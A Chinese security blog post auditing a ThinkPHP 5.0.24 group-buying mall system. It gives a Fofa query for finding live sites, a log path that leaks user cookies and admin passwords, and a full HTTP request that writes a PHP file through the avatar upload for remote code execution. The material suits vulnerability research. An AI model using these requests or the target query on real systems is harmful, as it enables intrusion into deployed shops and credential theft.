某TP拼团零售商城系统RCE漏洞审计

admin 2024年7月20日20:21:32评论64 views字数 2141阅读7分8秒阅读模式

0x00 前言

ThinkPHP5 拼团拼购系统,支持热门商品,余额总览,红包分销,商品销售,购物车等功能,后台使用管理系统所构建.

Fofa:"/public/static/plugins/zepto/dist/zepto.js"

某TP拼团零售商城系统RCE漏洞审计

某TP拼团零售商城系统RCE漏洞审计

某TP拼团零售商城系统RCE漏洞审计

框架:ThinkPHP 5.0.24 Debug:True

0x01 前台Log日志泄露漏洞

由于是TP5.0.24 开了debug,且根目录就能访问到,导致日志泄露,这里能看到普通用户访问日志和管理员的访问日志,甚至还有Cookie和登录时的账号密码.

Payload 这种格式:

/runtime/log/202407/20.log

某TP拼团零售商城系统RCE漏洞审计

0x02 前台任意文件写入漏洞

在 /home/controller/User.php 控制器的 avatar 方法中,有一处很明显的通过Base64进行文件写入的操作,通过input('base64')来传递文件内容及文件名,然后经过 uploadOneBase64Image 方法来写入.

/** 个人信息*/public function avatar(){    $userLogic = new appcommonlogicUsersLogic();    $base64Image = input('base64');    if ($base64Image) {

      $dirName = "home" . DS . "user" . DS . "head_pic";      $time = time();      // 检验时间      if($this->user["head_time"] > 0){

        if($time - $this->user["head_time"]  < 60){          //                    ajaxReturn(0,'notice',"系统升级中,不能修改头像,敬请谅解");        }      }

      $back_img = uploadOneBase64Image($base64Image,$dirName);      if(!empty($back_img["error"])){        ajaxReturn(0,'notice',$back_img["error"]);      }

      $update = $userLogic->update_info($this->user_id, [                                        "head_pic"=>$back_img["imageUrl"],                                        "head_time"=>$time,                                        ]);

      if (!$update){        ajaxReturn(0,'notice',"头像更新失败!");      }else{        ajaxReturn(1,'success',"头像更新成功!",str_replace("\",'/',$back_img["imageUrl"]),"/home/user/userinfo.html");      }    }  }

不过我们全局搜索 uploadOneBase64Image 并没有找到这个方法,因为其实际上在/application/common.php 中,该文件整个都被混淆加密了.

某TP拼团零售商城系统RCE漏洞审计

Payload [需要普通用户登录权限]:

POST /home/user/avatar HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 65Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=kplfq401bdcmql31vr7jp2s6ul; user_id=1; uname=%25E5%2588%2598%25E6%2580%25BBHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/homeSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1

base64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

某TP拼团零售商城系统RCE漏洞审计

某TP拼团零售商城系统RCE漏洞审计

原文始发于微信公众号(星悦安全):某TP拼团零售商城系统RCE漏洞审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月20日20:21:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某TP拼团零售商城系统RCE漏洞审计http://cn-sec.com/archives/2978388.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息